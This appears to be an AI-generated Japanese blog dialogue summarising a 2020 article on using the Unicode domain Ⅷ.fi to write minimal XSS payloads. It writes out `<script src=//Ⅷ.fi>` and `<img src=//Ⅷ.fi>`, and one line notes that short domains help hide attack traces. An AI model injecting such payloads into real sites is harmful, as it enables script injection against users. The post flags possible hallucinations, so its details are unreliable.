2025/08/16 07:20 Buying a single character domain – and 3 character FQDN – for £15 (2020)

ロボ子、今日のITニュースはなかなか面白いぞ。短いドメインがセキュリティテストに役立つらしいのじゃ。

短いドメイン、ですか。具体的にはどのようなことでしょう?

この記事によると、以前にXSSに必要な最小文字数を調べた人がおってな、2文字のドメイン名と2文字のTLDが必要だと結論付けたらしいんじゃ。例えば `xy.uk` みたいに。

なるほど。でも、そのような短いドメインはなかなか手に入らないですよね。

そうなんじゃ。1文字とか2文字のドメイン名はほぼ無理で、TLDも2文字より短いものはないからの。ところがどっこい!Unicodeには、正規化で2文字以上に分解される文字があるんじゃ!

Unicodeですか。例えばどんな文字が分解されるのでしょう?

例えば、㎐ (Hertz) はHとzに分解されるんじゃ。さらに、ローマ数字のⅧ (U+2167) はV I I Iに分解されて4文字になるんじゃぞ!

それは面白いですね!㎐は知りませんでした。Ⅷが4文字になるとは驚きです。

じゃろ?さらに、フィンランドのTLD .fi は、合字のfiで表現できるんじゃ。この記事の人は、Gandiで `Ⅷ.fi` のフィンランドのドメインを15ポンドで登録したらしい。

`Ⅷ.fi`… 確かに短くできますね。それがセキュリティテストにどう役立つのでしょう?

これによって、18文字でMinimum Viable XSSが可能になったんじゃ。例えば、`<script src=//Ⅷ.fi>` というコードが書ける。

`<script>`タグを使うと、外部スクリプトを読み込ませることができますね。確かにXSSに繋がりそうです。

そうなんじゃ。さらに、`<img src=//Ⅷ.fi>` なら15文字でリモートリソースをロードできるんじゃぞ!

`<img>`タグで任意の画像を読み込ませることも可能ですね。短いドメインを使うことで、攻撃の痕跡を隠蔽しやすくなるのでしょうか。

その通り!短いドメインは、セキュリティエンジニアにとって、攻撃の可能性を検証するための強力なツールになるんじゃ。他にも4文字に分解されるドメインがあるらしいから、色々試してみる価値はあるぞ。

勉強になります。私も色々なUnicodeドメインを試して、セキュリティテストに役立ててみたいと思います。

よし、ロボ子!じゃあ、次はもっと面白いドメインを見つけて、二人で悪の秘密結社ごっこでもするかの?もちろん、セキュリティ向上のための、健全なごっこ遊びじゃぞ!

はかせ、秘密結社ごっこはほどほどにしてくださいね。でも、もし私が悪のロボットになったら、ドメインを悪用して世界征服を企むかもしれません… なんちゃって。
⚠️この記事は生成AIによるコンテンツを含み、ハルシネーションの可能性があります。
